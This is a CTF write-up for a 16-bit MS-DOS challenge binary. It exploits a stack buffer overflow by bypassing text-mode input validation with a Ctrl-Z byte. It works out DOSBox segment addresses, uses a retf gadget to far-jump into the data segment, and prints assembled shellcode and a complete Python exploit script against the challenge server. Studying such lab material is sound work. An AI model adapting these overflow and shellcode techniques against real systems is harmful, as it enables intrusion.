$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: 16-bit MS-DOS executable (Borland C++ 3.0) run under DOSBox takes a base64 INPUT.TXT; text-mode validation vs binary-mode read creates a stack overflow. Solution: bypass the check with a Ctrl-Z EOF byte, overflow fscanf, and use a retf gadget to far-return into 16-bit shellcode that copies FLAG.TXT to OUTPUT.TXT.
MS Windows 10 has reached its (endoflife.date), but MS DOS is still going strong.
Handout: a zip containing CHALL.CPP, CHALL.EXE (16-bit MS-DOS, MZ, built with
Borland C++ 3.0), RUN.BAT (C: / CHALL.EXE / EXIT), and server.py.
English summary: the remote service asks for the base64 contents of INPUT.TXT,
mounts them into a DOSBox instance, runs CHALL.EXE, and returns the base64 of
the generated OUTPUT.TXT. The program validates the input with one code path and
then consumes it with a different one; the discrepancy is the vulnerability. The
goal is to make the DOS program copy the flag file into OUTPUT.TXT.
The bug is entirely contained in CHALL.CPP:
const int MAXLENGTH = 16; int check_input() { FILE *input = fopen("input.txt", "rt"); // <-- TEXT mode ... while ((c = fgetc(input)) != EOF) { if (c < 'a' || c > 'z' || length >= MAXLENGTH) { fclose(input); return 0; } ++length; } ... return length > 0; } void process_input() { char name[MAXLENGTH + 1]; // char name[17] FILE *input = fopen("input.txt", "rb"); // <-- BINARY mode FILE *output = fopen("output.txt", "wb"); fscanf(input, "%[^ ]s", name); // <-- unbounded, no field width fprintf(output, "%d\n", strlen(name)); ... }
Two independent flaws combine:
check_input() opens the file with mode "rt".
In DOS text mode 0x1A (ASCII Ctrl-Z) is the end-of-file marker: fgetc
returns EOF at the first 0x1A. Everything after 0x1A is never validated.
Putting b"a"*16 + b"\x1a" + payload makes the check pass (16 valid lowercase
letters, then "EOF"), while the payload stays in the file.process_input() reopens the very same file with
"rb". Binary mode ignores 0x1A, so fscanf(input, "%[^ ]s", name) reads the
whole file up to the first space (0x20) into name[17] with no width limit.
The check's EOF marker is ordinary stack filler here → classic stack buffer
overflow. Because the scanset is %[^ ], the payload must contain no space
byte (0x20) anywhere.%[...] does not strip a trailing NUL and treats 0x00 as data, so the exploit
payload can be fully binary apart from 0x20.
The binary is a 16-bit MZ executable. With the DOSBox 0.74-3 defaults used by the server harness the layout is fixed (no ASLR in real-mode DOS):
0x20 paragraphs → code starts at file offset 0x200.e_cs = 0, so code-segment offsets equal offsets in the disassembly.loadseg/CS = 0x01A2, and DGROUP = DS = ES = SS = 0x03E1.SS = DGROUP with SP near the top of the 64 KiB segment.process_input(), BP = 0xFFF2, so char name[17] sits at SS:0xFFE0:
name[0..16] → 0xFFE0 .. 0xFFF00xFFF2 (name offset 18)0xFFF4 (name offset 20)The overflow runs upward from SS:0xFFE0. At SS:0xFFFF it wraps to
DGROUP:0x0000 of the same segment, because the fscanf destination pointer uses
DS=DGROUP=0x03E1. So the tail of the payload lands at 0x03E1:0x0000.
Rather than assume anything, six patched copies of CHALL.EXE were built. At file
offset 0x527 the compiler emitted the strlen(name) argument setup
(lea ax,[bp-0x12]; push ax; call strlen; pop cx → 8D 46 EE 50 E8 D2 1E 59).
Replacing those 8 bytes with mov ax,ss / mov ax,bp / mov ax,sp / mov ax,ds
/ mov ax,cs plus NOP padding makes the existing fprintf(output,"%d\n",...) leak
each register as a decimal integer into OUTPUT.TXT. Running each patched binary
under the same DOSBox mount yielded CS=0x01A2, DS=ES=SS=0x03E1, BP=0xFFF2,
SP near 0xFFE0, confirming the table above empirically.
ret is not enoughControl-flow hijack first overwrites the saved return address at SS:0xFFF4.
A normal near ret (0xC3) pops only IP; CS stays 0x01A2. The shellcode,
however, is written into the data segment at 0x03E1:0x0000, not into the code
segment. Returning near into it is impossible — the bytes live in another segment.
Fix: return into a retf (0xCB) gadget that exists inside the code segment.
Searching the disassembly found single 0xCB bytes at code offsets 0x0986,
0x1141, and 0x14DC (at 0x0986 it is the ModRM byte of and cl,bl). The near
return lands on the gadget with CS=0x01A2; the gadget's retf then pops both
IP and CS from the now-controlled stack, performing a far jump to
0x03E1:0x0000 where the shellcode begins.
Input file = b"a"*16 + b"\x1a" + P, where P[i] maps to SS:(0xFFF1 + i):
| P index | Stack address | Value | Purpose |
|---|---|---|---|
| 0..2 | 0xFFF1..0xFFF3 | 90 90 90 | junk (covers saved BP) |
| 3..4 | 0xFFF4..0xFFF5 | 86 09 | near-ret target = 0x0986 (retf) |
| 5..6 | 0xFFF6..0xFFF7 | 00 00 | retf IP = 0x0000 |
| 7..8 | 0xFFF8..0xFFF9 | E1 03 | retf CS = 0x03E1 (DGROUP) |
| 9..14 | 0xFFFA..0xFFFF | 90 * 6 | filler, ends exactly at segment wrap |
| 15.. | DGROUP:0x0000 | 16-bit shellcode | executes after the far jump |
Bytes P[15..] are written starting at DGROUP:0x0000 after the 16-bit offset
wraps at 0xFFFF.
16-bit DOS code, assembled with nasm -f bin. It creates OUTPUT.TXT, opens
FLAG.TXT, reads it, writes it to OUTPUT.TXT, and exits. It is 201 bytes and
contains neither 0x20 nor 0x1A.
bits 16 org 0 mov dx, out_name ; DS:DX = "OUTPUT.TXT" mov cx, 0 mov ah, 0x3C ; create file int 0x21 mov [outh], ax ; save handle mov dx, in_name ; DS:DX = "FLAG.TXT" mov ax, 0x3D00 ; open for read int 0x21 mov bx, ax ; handle mov dx, buf mov cx, 0x100 mov ah, 0x3F ; read int 0x21 mov cx, ax ; bytes read mov bx, [outh] mov dx, buf mov ah, 0x40 ; write int 0x21 mov ax, 0x4C00 ; terminate int 0x21 out_name: db "OUTPUT.TXT", 0 in_name: db "FLAG.TXT", 0 outh: dw 0 buf: times 0x80 db 0
Assembled bytes (201 total):
ba 33 00 b9 00 00 b4 3c cd 21 a3 47 00 ba 3e 00 b8 00 3d cd 21
8b d8 ba 49 00 b9 00 01 b4 3f cd 21 8b c8 8b 1e 47 00 ba 49 00
b4 40 cd 21 b8 00 4c cd 21
4f 55 54 50 55 54 2e 54 58 54 00 ; "OUTPUT.TXT\0"
46 4c 41 47 2e 54 58 54 00 ; "FLAG.TXT\0"
00 00 ; outh
00 x128 ; buf
#!/usr/bin/env python3 import base64, re, socket, ssl # --- runtime layout (DOSBox 0.74-3 defaults, verified by patched binaries) --- RETF = 0x0986 # near-ret target: 0xCB (retf) gadget in code segment SHELL_IP = 0x0000 # shellcode offset SHELL_CS = 0x03E1 # DGROUP == DS == ES == SS SHELL = bytes.fromhex( "ba3300b90000b43ccd21a34700ba3e00b8003dcd218bd8ba4900b90001b43f" "cd218bc88b1e4700ba4900b440cd21b8004ccd21" "4f55545055542e54585400" # "OUTPUT.TXT\0" "464c41472e54585400" # "FLAG.TXT\0" "0000" + "00" * 0x80 # outh + buf ) assert len(SHELL) == 201 # payload P[i] -> SS:(0xFFF1 + i) P = b"\x90" * 3 P += RETF.to_bytes(2, "little") # [3..4] saved return address -> retf gadget P += SHELL_IP.to_bytes(2, "little") # [5..6] retf IP P += SHELL_CS.to_bytes(2, "little") # [7..8] retf CS P += b"\x90" * 6 # [9..14] filler, wraps to DGROUP:0x0000 P += SHELL # [15..] shellcode at DGROUP:0x0000 data = b"a" * 16 + b"\x1a" + bytes(P) # 16 lowercase + Ctrl-Z EOF + overflow assert b" " not in data # fscanf "%[^ ]s" stops at 0x20 HOST, PORT = "end-of-life-41f64a679798.inst20.ctf.fortid.com", 1337 ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE raw = socket.create_connection((HOST, PORT), timeout=30) s = ctx.wrap_socket(raw, server_hostname=HOST) s.settimeout(15) banner = b"" while b"base64" not in banner: # server has a 10s SIGALRM: answer fast banner += s.recv(4096) s.sendall(base64.b64encode(data) + b"\n") resp = b"" try: while True: chunk = s.recv(4096) if not chunk: break resp += chunk except Exception: pass s.close() m = re.search(rb"OUTPUT\.TXT: ([A-Za-z0-9+/=]+)", resp) print(base64.b64decode(m.group(1)).decode(errors="replace"))
The server wraps the connection in TLS and installs a 10-second SIGALRM, so the
base64 payload must be sent immediately after the prompt
Enter contents for INPUT.TXT (base64):. It copies flag.txt to FLAG.TXT inside
the mounted DOS directory before launching DOSBox, then prints
Your OUTPUT.TXT: <base64>; decoding that base64 yields the flag file contents in
the FortID{...} format.
A local ctf-dosbox container (Debian bullseye + apt-get install dosbox,
DOSBox 0.74-3) was used with a dummy FLAG.TXT. Running
docker run --rm -v <taskdir>:/work -w /work ctf-dosbox bash /work/run_exploit.sh
produced an OUTPUT.TXT containing the dummy flag file, confirming both the
computed segment addresses and the retf-into-data-segment shellcode.
Use this technique when:
"rt" for validation
and "rb" for processing — the 0x1A Ctrl-Z text-mode EOF is the validator's
blind spot.fscanf(f, "%[^ ]s", buf) (no width) or any unbounded %s/%[...] copy lands
in a fixed stack buffer; the payload must avoid 0x20 because the scanset stops
at a space.ret cannot reach data-segment shellcode: a single 0xCB (retf) byte
in the code segment lets you load both IP and CS from the controlled stack.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar